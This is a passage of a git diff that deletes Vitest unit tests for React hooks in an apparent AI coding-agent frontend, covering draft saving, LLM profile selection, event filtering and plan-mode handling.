Act - const { result } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Assert - expect(result.current.hasDraft).toBe(false); - }); - - it("sets isRestored to true after restoration completes", () => { - // Arrange - const conversationId = "conv-restored"; - const chatInputRef = createMockChatInputRef(); - - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: "Draft to restore", - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - // Act - const { result } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Assert - expect(result.current.isRestored).toBe(true); - }); - }); - - describe("cleanup on unmount", () => { - it("clears pending timeout on unmount", () => { - // Arrange - const conversationId = "conv-unmount"; - const chatInputRef = createMockChatInputRef(); - - const { result, unmount } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Start a save - chatInputRef.current!.textContent = "Draft"; - act(() => { - result.current.saveDraft(); - }); - - // Unmount before debounce completes - unmount(); - - // Complete the debounce period - act(() => { - vi.advanceTimersByTime(500); - }); - - // Assert - save should not have been called after unmount - expect(mockSetDraftMessage).not.toHaveBeenCalled(); - }); - }); -}); diff --git a/__tests__/hooks/use-ensure-active-profile.test.tsx b/__tests__/hooks/use-ensure-active-profile.test.tsx deleted file mode 100644 index 4946ad159..000000000 --- a/__tests__/hooks/use-ensure-active-profile.test.tsx +++ /dev/null @@ -1,86 +0,0 @@ -import { renderHook } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -import { useEnsureActiveProfile } from "#/hooks/use-ensure-active-profile"; - -const mockActivate = vi.fn(); -const mockUseActiveBackend = vi.fn(); -const mockUseLlmProfiles = vi.fn(); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => mockUseActiveBackend(), -})); -vi.mock("#/hooks/query/use-llm-profiles", () => ({ - useLlmProfiles: () => mockUseLlmProfiles(), -})); -vi.mock("#/hooks/mutation/use-activate-llm-profile", () => ({ - useActivateLlmProfile: () => ({ mutate: mockActivate, isPending: false }), -})); - -const local = { backend: { id: "b1", kind: "local" }, orgId: null }; -const cloud = { backend: { id: "c1", kind: "cloud" }, orgId: null }; -const profile = (name: string, api_key_set = true) => ({ - name, - model: "m", - base_url: null, - api_key_set, -}); - -describe("useEnsureActiveProfile", () => { - beforeEach(() => { - vi.clearAllMocks(); - mockUseActiveBackend.mockReturnValue(local); - }); - - it("activates the first profile when none is active", () => { - mockUseLlmProfiles.mockReturnValue({ - data: { profiles: [profile("a"), profile("b")], active_profile: null }, - }); - renderHook(() => useEnsureActiveProfile()); - expect(mockActivate).toHaveBeenCalledWith("a"); - }); - - it("activates a remaining profile when the active one is dangling", () => { - mockUseLlmProfiles.mockReturnValue({ - data: { profiles: [profile("b")], active_profile: "deleted" }, - }); - renderHook(() => useEnsureActiveProfile()); - expect(mockActivate).toHaveBeenCalledWith("b"); - }); - - it("prefers a profile that has a key over an earlier keyless one", () => { - mockUseLlmProfiles.mockReturnValue({ - data: { - profiles: [profile("nokey", false), profile("withkey")], - active_profile: null, - }, - }); - renderHook(() => useEnsureActiveProfile()); - expect(mockActivate).toHaveBeenCalledWith("withkey"); - }); - - it("does nothing when the active profile is valid", () => { - mockUseLlmProfiles.mockReturnValue({ - data: { profiles: [profile("a")], active_profile: "a" }, - }); - renderHook(() => useEnsureActiveProfile()); - expect(mockActivate).not.toHaveBeenCalled(); - }); - - it("does nothing when there are no profiles", () => { - mockUseLlmProfiles.mockReturnValue({ - data: { profiles: [], active_profile: "dangling" }, - }); - renderHook(() => useEnsureActiveProfile()); - expect(mockActivate).not.toHaveBeenCalled(); - }); - - it("does nothing on a cloud backend", () => { - mockUseActiveBackend.mockReturnValue(cloud); - mockUseLlmProfiles.mockReturnValue({ - data: { profiles: [profile("a")], active_profile: null }, - }); - renderHook(() => useEnsureActiveProfile()); - expect(mockActivate).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/use-filtered-events.test.ts b/__tests__/hooks/use-filtered-events.test.ts deleted file mode 100644 index e74e3ea21..000000000 --- a/__tests__/hooks/use-filtered-events.test.ts +++ /dev/null @@ -1,242 +0,0 @@ -import { describe, expect, it, beforeEach } from "vitest"; -import { renderHook, act } from "@testing-library/react"; -import { useFilteredEvents } from "#/hooks/use-filtered-events"; -import { useEventStore } from "#/stores/use-event-store"; -import type { ActionEvent, MessageEvent } from "#/types/agent-server/core"; -import { SecurityRisk } from "#/types/agent-server/core"; -import type { SystemPromptEvent } from "#/types/agent-server/core/events/system-event"; - -function createUserMessage(id: string): MessageEvent { - return { - id, - timestamp: `2025-07-01T00:00:${id.slice(-1).padStart(2, "0")}Z`, - source: "user", - llm_message: { - role: "user", - content: [{ type: "text", text: `User message ${id}` }], - }, - activated_microagents: [], - extended_content: [], - }; -} - -function createAgentAction(id: string): ActionEvent { - return { - id, - timestamp: "2025-07-01T00:00:02Z", - source: "agent", - thought: [{ type: "text", text: "Agent thought" }], - thinking_blocks: [], - action: { - kind: "ExecuteBashAction", - command: "echo test", - is_input: false, - timeout: null, - reset: false, - }, - tool_name: "execute_bash", - tool_call_id: "call-1", - tool_call: { - id: "call-1", - type: "function", - function: { name: "execute_bash", arguments: '{"command": "echo test"}' }, - }, - llm_response_id: "response-1", - security_risk: SecurityRisk.UNKNOWN, - }; -} - -function createSystemPromptEvent(id: string): SystemPromptEvent { - return { - id, - timestamp: "2025-07-01T00:00:03Z", - source: "agent", - system_prompt: { type: "text", text: "system prompt" }, - tools: [], - }; -} - -beforeEach(() => { - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [], - }); -}); - -describe("useFilteredEvents", () => { - describe("referential stability", () => { - it("returns the same renderableEvents reference when uiEvents has not changed", () => { - const event = createUserMessage("msg-1"); - useEventStore.setState({ - events: [event], - eventIds: new Set(["msg-1"]), - uiEvents: [event], - }); - - const { result, rerender } = renderHook(() => useFilteredEvents()); - const firstRenderableEvents = result.current.renderableEvents; - - rerender(); - - expect(result.current.renderableEvents).toBe(firstRenderableEvents); - }); - - it("returns the same allConversationEvents reference when storeEvents has not changed", () => { - const event = createUserMessage("msg-1"); - useEventStore.setState({ - events: [event], - eventIds: new Set(["msg-1"]), - uiEvents: [event], - }); - - const { result, rerender } = renderHook(() => useFilteredEvents()); - const firstAllConversationEvents = result.current.allConversationEvents; - - rerender(); - - expect(result.current.allConversationEvents).toBe( - firstAllConversationEvents, - ); - }); - - it("returns a new renderableEvents reference when uiEvents changes", () => { - const firstEvent = createUserMessage("msg-1"); - useEventStore.setState({ - events: [firstEvent], - eventIds: new Set(["msg-1"]), - uiEvents: [firstEvent], - }); - - const { result } = renderHook(() => useFilteredEvents()); - const firstRenderableEvents = result.current.renderableEvents; - - const secondEvent = createAgentAction("action-2"); - act(() => { - useEventStore.setState({ - events: [firstEvent, secondEvent], - eventIds: new Set(["msg-1", "action-2"]), - uiEvents: [firstEvent, secondEvent], - }); - }); - - expect(result.current.renderableEvents).not.toBe(firstRenderableEvents); - expect(result.current.renderableEvents).toHaveLength(2); - }); - }); - - describe("agent-server event filtering", () => { - it("filters renderable events from uiEvents", () => { - const userMessage = createUserMessage("msg-1"); - const systemPrompt = createSystemPromptEvent("system-1"); - - useEventStore.setState({ - events: [userMessage, systemPrompt], - eventIds: new Set(["msg-1", "system-1"]), - uiEvents: [userMessage, systemPrompt], - }); - - const { result } = renderHook(() => useFilteredEvents()); - - expect(result.current.renderableEvents).toEqual([userMessage]); - expect(result.current.allConversationEvents).toEqual([ - userMessage, - systemPrompt, - ]); - }); - - it("uses renderable events for totalEvents", () => { - const userMessage = createUserMessage("msg-1"); - const systemPrompt = createSystemPromptEvent("system-1"); - - useEventStore.setState({ - events: [userMessage, systemPrompt], - eventIds: new Set(["msg-1", "system-1"]), - uiEvents: [userMessage, systemPrompt], - }); - - const { result } = renderHook(() => useFilteredEvents()); - expect(result.current.totalEvents).toBe(1); - }); - }); - - describe("hasSubstantiveAgentActions", () => { - it("returns false when no events exist", () => { - const { result } = renderHook(() => useFilteredEvents()); - expect(result.current.hasSubstantiveAgentActions).toBe(false); - }); - - it("returns false when only user events exist", () => { - const userMessage = createUserMessage("msg-1"); - - useEventStore.setState({ - events: [userMessage], - eventIds: new Set(["msg-1"]), - uiEvents: [userMessage], - }); - - const { result } = renderHook(() => useFilteredEvents()); - expect(result.current.hasSubstantiveAgentActions).toBe(false); - }); - - it("returns false when only system prompt events exist", () => { - const systemPrompt = createSystemPromptEvent("system-1"); - - useEventStore.setState({ - events: [systemPrompt], - eventIds: new Set(["system-1"]), - uiEvents: [systemPrompt], - }); - - const { result } = renderHook(() => useFilteredEvents()); - expect(result.current.hasSubstantiveAgentActions).toBe(false); - }); - - it("returns true when agent action events exist", () => { - const agentAction = createAgentAction("action-1"); - - useEventStore.setState({ - events: [agentAction], - eventIds: new Set(["action-1"]), - uiEvents: [agentAction], - }); - - const { result } = renderHook(() => useFilteredEvents()); - expect(result.current.hasSubstantiveAgentActions).toBe(true); - }); - }); - - describe("userEventsExist", () => { - it("returns false when no events exist", () => { - const { result } = renderHook(() => useFilteredEvents()); - expect(result.current.userEventsExist).toBe(false); - }); - - it("returns true when user events exist", () => { - const userMessage = createUserMessage("msg-1"); - - useEventStore.setState({ - events: [userMessage], - eventIds: new Set(["msg-1"]), - uiEvents: [userMessage], - }); - - const { result } = renderHook(() => useFilteredEvents()); - expect(result.current.conversationUserEventsExist).toBe(true); - expect(result.current.userEventsExist).toBe(true); - }); - }); - - describe("empty store", () => { - it("returns empty arrays and false flags for empty store", () => { - const { result } = renderHook(() => useFilteredEvents()); - - expect(result.current.renderableEvents).toEqual([]); - expect(result.current.allConversationEvents).toEqual([]); - expect(result.current.totalEvents).toBe(0); - expect(result.current.hasSubstantiveAgentActions).toBe(false); - expect(result.current.conversationUserEventsExist).toBe(false); - expect(result.current.userEventsExist).toBe(false); - }); - }); -}); diff --git a/__tests__/hooks/use-handle-build-plan-click.test.ts b/__tests__/hooks/use-handle-build-plan-click.test.ts deleted file mode 100644 index 57e49187d..000000000 --- a/__tests__/hooks/use-handle-build-plan-click.test.ts +++ /dev/null @@ -1,193 +0,0 @@ -import { renderHook, act } from "@testing-library/react"; -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { useHandleBuildPlanClick } from "#/hooks/use-handle-build-plan-click"; -import { useConversationStore } from "#/stores/conversation-store"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { createChatMessage } from "#/services/chat-service"; - -// Mock the send message hook - we'll mock the underlying WebSocket services -vi.mock("#/hooks/use-send-message", () => ({ - useSendMessage: vi.fn(), -})); - -// Mock the chat service -vi.mock("#/services/chat-service", () => ({ - createChatMessage: vi.fn(), -})); - -// The hook now scopes pending messages by conversation id; stub the lookup -// so the hook always sees a stable conversation in the test environment. -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: "test-conversation-id" }), -})); - -// Import mocked modules -import { useSendMessage } from "#/hooks/use-send-message"; - -describe("useHandleBuildPlanClick", () => { - const mockSend = vi.fn().mockResolvedValue({ queued: false }); - - beforeEach(() => { - vi.clearAllMocks(); - mockSend.mockResolvedValue({ queued: false }); - - // Reset store states - useConversationStore.setState({ - conversationMode: "plan", - }); - useOptimisticUserMessageStore.setState({ - pendingMessages: [], - }); - - // Setup send message hook mock - (useSendMessage as unknown as ReturnType).mockReturnValue({ - send: mockSend, - }); - - // Setup chat service mock - (createChatMessage as unknown as ReturnType).mockReturnValue({ - action: "message", - args: { - content: "Execute the plan based on the .agents_tmp/PLAN.md file.", - image_urls: [], - file_urls: [], - timestamp: expect.any(String), - }, - }); - }); - - afterEach(() => { - // Clean up store states - useConversationStore.setState({ - conversationMode: "code", - }); - useOptimisticUserMessageStore.setState({ - pendingMessages: [], - }); - }); - - it("should switch conversation mode to code when handleBuildPlanClick is called", () => { - // Arrange - useConversationStore.setState({ conversationMode: "plan" }); - const { result } = renderHook(() => useHandleBuildPlanClick()); - - // Act - act(() => { - result.current.handleBuildPlanClick(); - }); - - // Assert - expect(useConversationStore.getState().conversationMode).toBe("code"); - }); - - it("should send build prompt message when handleBuildPlanClick is called", () => { - // Arrange - const { result } = renderHook(() => useHandleBuildPlanClick()); - const expectedPrompt = - "Execute the plan based on the .agents_tmp/PLAN.md file."; - - // Act - act(() => { - result.current.handleBuildPlanClick(); - }); - - // Assert - expect(createChatMessage).toHaveBeenCalledTimes(1); - expect(createChatMessage).toHaveBeenCalledWith( - expectedPrompt, - [], - [], - expect.any(String), - ); - expect(mockSend).toHaveBeenCalledTimes(1); - expect(mockSend).toHaveBeenCalledWith( - expect.objectContaining({ - action: "message", - args: expect.objectContaining({ - content: expectedPrompt, - }), - }), - ); - }); - - it("should enqueue a pending user message when handleBuildPlanClick is called", () => { - // Arrange - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - const { result } = renderHook(() => useHandleBuildPlanClick()); - const expectedPrompt = - "Execute the plan based on the .agents_tmp/PLAN.md file."; - - // Act - act(() => { - result.current.handleBuildPlanClick(); - }); - - // Assert - const pending = - useOptimisticUserMessageStore.getState().pendingMessages; - expect(pending).toHaveLength(1); - expect(pending[0].text).toBe(expectedPrompt); - expect(pending[0].status).toBe("sending"); - }); - - it("should prevent default and stop propagation when event is provided", () => { - // Arrange - const { result } = renderHook(() => useHandleBuildPlanClick()); - const mockEvent = { - preventDefault: vi.fn(), - stopPropagation: vi.fn(), - } as unknown as React.MouseEvent; - - // Act - act(() => { - result.current.handleBuildPlanClick(mockEvent); - }); - - // Assert - expect(mockEvent.preventDefault).toHaveBeenCalledTimes(1); - expect(mockEvent.stopPropagation).toHaveBeenCalledTimes(1); - }); - - it("should handle call without event parameter", () => { - // Arrange - useConversationStore.setState({ conversationMode: "plan" }); - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - const { result } = renderHook(() => useHandleBuildPlanClick()); - - // Act & Assert - should not throw - act(() => { - result.current.handleBuildPlanClick(); - }); - - // Assert all expected behaviors still occur - expect(useConversationStore.getState().conversationMode).toBe("code"); - expect(mockSend).toHaveBeenCalledTimes(1); - const pending = - useOptimisticUserMessageStore.getState().pendingMessages; - expect(pending).toHaveLength(1); - expect(pending[0].text).toBe( - "Execute the plan based on the .agents_tmp/PLAN.md file.", - ); - }); - - it("should handle keyboard event", () => { - // Arrange - useConversationStore.setState({ conversationMode: "plan" }); - const { result } = renderHook(() => useHandleBuildPlanClick()); - const mockKeyboardEvent = { - preventDefault: vi.fn(), - stopPropagation: vi.fn(), - } as unknown as KeyboardEvent; - - // Act - act(() => { - result.current.handleBuildPlanClick(mockKeyboardEvent); - }); - - // Assert - expect(mockKeyboardEvent.preventDefault).toHaveBeenCalledTimes(1); - expect(mockKeyboardEvent.stopPropagation).toHaveBeenCalledTimes(1); - expect(useConversationStore.getState().conversationMode).toBe("code"); - }); -}); diff --git a/__tests__/hooks/use-handle-plan-click.test.tsx b/__tests__/hooks/use-handle-plan-click.test.tsx deleted file mode 100644 index 67d241598..000000000 --- a/__tests__/hooks/use-handle-plan-click.test.tsx +++ /dev/null @@ -1,345 +0,0 @@ -import { describe, it, expect, afterEach, vi, beforeEach } from "vitest"; -import { renderHook, waitFor, act } from "@testing-library/react"; -import { useHandlePlanClick } from "#/hooks/use-handle-plan-click"; -import { useConversationStore } from "#/stores/conversation-store"; -import { useActiveConversation } from "#/hooks/query/use-active-conversation"; -import { useCreateConversation } from "#/hooks/mutation/use-create-conversation"; -import { - getConversationState, - setConversationState, -} from "#/utils/conversation-local-storage"; -import { displaySuccessToast } from "#/utils/custom-toast-handlers"; -import type { Conversation } from "#/api/open-hands.types"; -import { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; - -// Mock dependencies -vi.mock("#/stores/conversation-store"); -vi.mock("#/hooks/query/use-active-conversation"); -vi.mock("#/hooks/mutation/use-create-conversation"); -vi.mock("#/utils/conversation-local-storage"); -vi.mock("#/utils/custom-toast-handlers"); -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), - initReactI18next: { - type: "3rdParty", - init: () => {}, - }, -})); - -const mockSetConversationMode = vi.fn(); -const mockSetSubConversationTaskId = vi.fn(); -const mockCreateConversation = vi.fn(); - -// Helper function to create properly typed mock return values -function asMockReturnValue(value: Partial): T { - return value as T; -} - -function makeConversation(overrides?: Partial): AppConversation { - return { - id: "conv-123", - title: "Test Conversation", - selected_repository: null, - selected_branch: null, - git_provider: null, - last_updated_at: new Date().toISOString(), - created_at: new Date().toISOString(), - status: "RUNNING", - runtime_status: null, - conversation_url: null, - session_api_key: null, - conversation_version: "V1", - sub_conversation_ids: [], - ...overrides, - } as AppConversation; -} - -describe("useHandlePlanClick", () => { - beforeEach(() => { - vi.clearAllMocks(); - - vi.mocked(useConversationStore).mockReturnValue({ - setConversationMode: mockSetConversationMode, - setSubConversationTaskId: mockSetSubConversationTaskId, - subConversationTaskId: null, - }); - - vi.mocked(useActiveConversation).mockReturnValue( - asMockReturnValue>({ - data: makeConversation(), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - }), - ); - - vi.mocked(useCreateConversation).mockReturnValue( - asMockReturnValue>({ - mutate: mockCreateConversation, - isPending: false, - isSuccess: false, - isError: false, - error: null, - }), - ); - - vi.mocked(getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - subConversationTaskId: null, - conversationMode: "code", - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - describe("localStorage restoration", () => { - it("restores subConversationTaskId from localStorage when conversation loads", () => { - const conversationId = "conv-123"; - const storedTaskId = "task-456"; - - vi.mocked(useActiveConversation).mockReturnValue( - asMockReturnValue>({ - data: makeConversation({ id: conversationId }), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - }), - ); - - vi.mocked(getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - subConversationTaskId: storedTaskId, - conversationMode: "code", - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - renderHook(() => useHandlePlanClick()); - - expect(getConversationState).toHaveBeenCalledWith(conversationId); - expect(mockSetSubConversationTaskId).toHaveBeenCalledWith(storedTaskId); - }); - - it("does not restore subConversationTaskId if it already exists in store", () => { - const conversationId = "conv-123"; - const storedTaskId = "task-456"; - const existingTaskId = "task-789"; - - vi.mocked(useActiveConversation).mockReturnValue( - asMockReturnValue>({ - data: makeConversation({ id: conversationId }), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - }), - ); - - vi.mocked(useConversationStore).mockReturnValue( - asMockReturnValue>({ - setConversationMode: mockSetConversationMode, - setSubConversationTaskId: mockSetSubConversationTaskId, - subConversationTaskId: existingTaskId, - }), - ); - - vi.mocked(getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - subConversationTaskId: storedTaskId, - conversationMode: "code", - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - renderHook(() => useHandlePlanClick()); - - expect(getConversationState).toHaveBeenCalledWith(conversationId); - expect(mockSetSubConversationTaskId).not.toHaveBeenCalled(); - }); - - it("does not restore subConversationTaskId when conversation is not loaded", () => { - vi.mocked(useActiveConversation).mockReturnValue( - asMockReturnValue>({ - data: undefined, - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - }), - ); - - renderHook(() => useHandlePlanClick()); - - expect(getConversationState).not.toHaveBeenCalled(); - expect(mockSetSubConversationTaskId).not.toHaveBeenCalled(); - }); - }); - - describe("plan creation prevention", () => { - it("prevents plan creation when subConversationTaskId exists in store", () => { - const taskId = "task-123"; - - vi.mocked(useConversationStore).mockReturnValue( - asMockReturnValue>({ - setConversationMode: mockSetConversationMode, - setSubConversationTaskId: mockSetSubConversationTaskId, - subConversationTaskId: taskId, - }), - ); - - const { result } = renderHook(() => useHandlePlanClick()); - - act(() => { - result.current.handlePlanClick(); - }); - - expect(mockSetConversationMode).toHaveBeenCalledWith("plan"); - expect(mockCreateConversation).not.toHaveBeenCalled(); - }); - - it("prevents plan creation when conversation has existing sub_conversation_ids", () => { - vi.mocked(useActiveConversation).mockReturnValue({ - data: makeConversation({ - sub_conversation_ids: ["sub-conv-1"], - }), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as Partial> as ReturnType< - typeof useActiveConversation - >); - - const { result } = renderHook(() => useHandlePlanClick()); - - act(() => { - result.current.handlePlanClick(); - }); - - expect(mockSetConversationMode).toHaveBeenCalledWith("plan"); - expect(mockCreateConversation).not.toHaveBeenCalled(); - }); - - it("prevents plan creation when conversation_id is missing", () => { - vi.mocked(useActiveConversation).mockReturnValue( - asMockReturnValue>({ - data: undefined, - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - }), - ); - - const { result } = renderHook(() => useHandlePlanClick()); - - act(() => { - result.current.handlePlanClick(); - }); - - expect(mockSetConversationMode).toHaveBeenCalledWith("plan"); - expect(mockCreateConversation).not.toHaveBeenCalled(); - }); - }); - - describe("plan creation and persistence", () => { - it("creates plan conversation and persists subConversationTaskId to localStorage", () => { - const conversationId = "conv-123"; - const taskId = "task-789"; - - vi.mocked(useActiveConversation).mockReturnValue( - asMockReturnValue>({ - data: makeConversation({ id: conversationId }), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - }), - ); - - const { result } = renderHook(() => useHandlePlanClick()); - - act(() => { - result.current.handlePlanClick(); - }); - - expect(mockSetConversationMode).toHaveBeenCalledWith("plan"); - expect(mockCreateConversation).toHaveBeenCalledWith( - { - parentConversationId: conversationId, - agentType: "plan", - entryPoint: "plan_sub_conversation", - }, - expect.objectContaining({ - onSuccess: expect.any(Function), - }), - ); - - // Simulate successful conversation creation - const onSuccessCallback = mockCreateConversation.mock.calls[0][1] - .onSuccess as (data: { task_id?: string }) => void; - - act(() => { - onSuccessCallback({ task_id: taskId }); - }); - - expect(mockSetSubConversationTaskId).toHaveBeenCalledWith(taskId); - expect(setConversationState).toHaveBeenCalledWith(conversationId, { - subConversationTaskId: taskId, - }); - expect(displaySuccessToast).toHaveBeenCalled(); - }); - - it("does not persist subConversationTaskId when task_id is missing", () => { - const conversationId = "conv-123"; - - vi.mocked(useActiveConversation).mockReturnValue( - asMockReturnValue>({ - data: makeConversation({ id: conversationId }), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - }), - ); - - const { result } = renderHook(() => useHandlePlanClick()); - - act(() => { - result.current.handlePlanClick(); - }); - - const onSuccessCallback = mockCreateConversation.mock.calls[0][1] - .onSuccess as (data: { task_id?: string }) => void; - - act(() => { - onSuccessCallback({}); - }); - - expect(mockSetSubConversationTaskId).not.toHaveBeenCalled(); - expect(setConversationState).not.toHaveBeenCalled(); - }); - }); -}); diff --git a/__tests__/hooks/use-has-attached-source.test.ts b/__tests__/hooks/use-has-attached-source.test.ts deleted file mode 100644 index d4033a50b..000000000 --- a/__tests__/hooks/use-has-attached-source.test.ts +++ /dev/null @@ -1,78 +0,0 @@ -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { renderHook } from "@testing-library/react"; - -import { useHasAttachedSource } from "#/hooks/use-has-attached-source"; -import { setStoredConversationMetadata } from "#/api/conversation-metadata-store"; - -const useActiveConversationMock = vi.fn(); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -describe("useHasAttachedSource", () => { - beforeEach(() => { - window.localStorage.clear(); - useActiveConversationMock.mockReset(); - }); - - afterEach(() => { - window.localStorage.clear(); - }); - - it("returns true when the conversation has a selected_repository", () => { - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-1", - selected_repository: "octocat/hello-world", - }, - isLoading: false, - }); - - const { result } = renderHook(() => useHasAttachedSource()); - - expect(result.current.hasAttachedSource).toBe(true); - expect(result.current.isLoading).toBe(false); - }); - - it("returns true when the conversation has a stored selected_workspace (no repo)", () => { - setStoredConversationMetadata("conv-2", { - selected_repository: null, - selected_branch: null, - git_provider: null, - selected_workspace: "/home/me/code/foo", - }); - - useActiveConversationMock.mockReturnValue({ - data: { id: "conv-2", selected_repository: null }, - isLoading: false, - }); - - const { result } = renderHook(() => useHasAttachedSource()); - - expect(result.current.hasAttachedSource).toBe(true); - }); - - it("returns false when neither a repo nor a workspace is attached", () => { - useActiveConversationMock.mockReturnValue({ - data: { id: "conv-3", selected_repository: null }, - isLoading: false, - }); - - const { result } = renderHook(() => useHasAttachedSource()); - - expect(result.current.hasAttachedSource).toBe(false); - }); - - it("propagates the active-conversation isLoading flag", () => { - useActiveConversationMock.mockReturnValue({ - data: undefined, - isLoading: true, - }); - - const { result } = renderHook(() => useHasAttachedSource()); - - expect(result.current.hasAttachedSource).toBe(false); - expect(result.current.isLoading).toBe(true); - }); -}); diff --git a/__tests__/hooks/use-llm-configured.test.tsx b/__tests__/hooks/use-llm-configured.test.tsx deleted file mode 100644 index 1489de7a7..000000000 --- a/__tests__/hooks/use-llm-configured.test.tsx +++ /dev/null @@ -1,144 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { renderHook } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { ReactNode } from "react"; -import { useLlmConfigured } from "#/hooks/use-llm-configured"; - -const useSettingsMock = vi.fn(); -const useConfigMock = vi.fn(); -const useLlmProfilesMock = vi.fn(); -const useActiveBackendMock = vi.fn(); -const useActiveAgentProfileMock = vi.fn(); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => useConfigMock(), -})); -vi.mock("#/hooks/query/use-llm-profiles", () => ({ - useLlmProfiles: () => useLlmProfilesMock(), -})); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); -vi.mock("#/hooks/use-active-agent-profile", () => ({ - useActiveAgentProfile: () => useActiveAgentProfileMock(), -})); - -function wrapper({ children }: { children: ReactNode }) { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return {children}; -} - -describe("useLlmConfigured (local, agent-profile-driven)", () => { - beforeEach(() => { - vi.clearAllMocks(); - useConfigMock.mockReturnValue({ data: { feature_flags: {} } }); - useActiveBackendMock.mockReturnValue({ - backend: { kind: "local", id: "b1" }, - orgId: null, - }); - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { agent_kind: "openhands" }, - llm_api_key_set: false, - }, - }); - }); - - const llmProfiles = ( - active: string, - entries: { name: string; api_key_set: boolean }[], - ) => ({ - data: { - active_profile: active, - profiles: entries.map((e) => ({ - name: e.name, - model: "m", - api_key_set: e.api_key_set, - })), - }, - }); - - it("is configured when the LLM profile the AGENT profile references has a key", () => { - useLlmProfilesMock.mockReturnValue( - llmProfiles("default", [ - { name: "default", api_key_set: false }, - { name: "sonnet", api_key_set: true }, - ]), - ); - useActiveAgentProfileMock.mockReturnValue({ - activeProfile: { - agent_kind: "openhands", - llm_profile_ref: "sonnet", - name: "MyOH", - }, - }); - - const { result } = renderHook(() => useLlmConfigured(), { wrapper }); - expect(result.current.isConfigured).toBe(true); - }); - - it("is NOT configured when the referenced profile has no key, even if the active LLM profile has one", () => { - // Discriminating case: the standalone active LLM profile ("default") HAS a - // key, but the active agent profile references "sonnet", which does not. - // Conversations launch from the agent profile, so the ref is what matters. - useLlmProfilesMock.mockReturnValue( - llmProfiles("default", [ - { name: "default", api_key_set: true }, - { name: "sonnet", api_key_set: false }, - ]), - ); - useActiveAgentProfileMock.mockReturnValue({ - activeProfile: { - agent_kind: "openhands", - llm_profile_ref: "sonnet", - name: "MyOH", - }, - }); - - const { result } = renderHook(() => useLlmConfigured(), { wrapper }); - expect(result.current.isConfigured).toBe(false); - }); - - it("falls back to the active LLM profile when the ref is stale (matches the launch fallback)", () => { - // The agent profile references "ghost", which no longer exists in the list - // (deleted profile / seed ref pointing at a named profile that was never - // created). The launch path drops a stale-ref profile launch to an - // agent_settings launch on the active LLM ("default", which HAS a key), so - // this hook must report configured too — otherwise the composer is - // spuriously disabled even though launch succeeds (VascoSch92 review #1571). - useLlmProfilesMock.mockReturnValue( - llmProfiles("default", [{ name: "default", api_key_set: true }]), - ); - useActiveAgentProfileMock.mockReturnValue({ - activeProfile: { - agent_kind: "openhands", - llm_profile_ref: "ghost", - name: "MyOH", - }, - }); - - const { result } = renderHook(() => useLlmConfigured(), { wrapper }); - expect(result.current.isConfigured).toBe(true); - }); - - it("is configured for an ACP agent profile regardless of LLM keys", () => { - useLlmProfilesMock.mockReturnValue( - llmProfiles("default", [{ name: "default", api_key_set: false }]), - ); - useActiveAgentProfileMock.mockReturnValue({ - activeProfile: { - agent_kind: "acp", - llm_profile_ref: null, - name: "MyClaude", - }, - }); - - const { result } = renderHook(() => useLlmConfigured(), { wrapper }); - expect(result.current.isConfigured).toBe(true); - }); -}); diff --git a/__tests__/hooks/use-load-older-events.test.tsx b/__tests__/hooks/use-load-older-events.test.tsx deleted file mode 100644 index d6921b7d9..000000000 --- a/__tests__/hooks/use-load-older-events.test.tsx +++ /dev/null @@ -1,438 +0,0 @@ -import { describe, it, expect, afterEach, vi, beforeEach } from "vitest"; -import React from "react"; -import { act, renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import { useLoadOlderEvents } from "#/hooks/use-load-older-events"; -import EventService from "#/api/event-service/event-service.api"; -import { 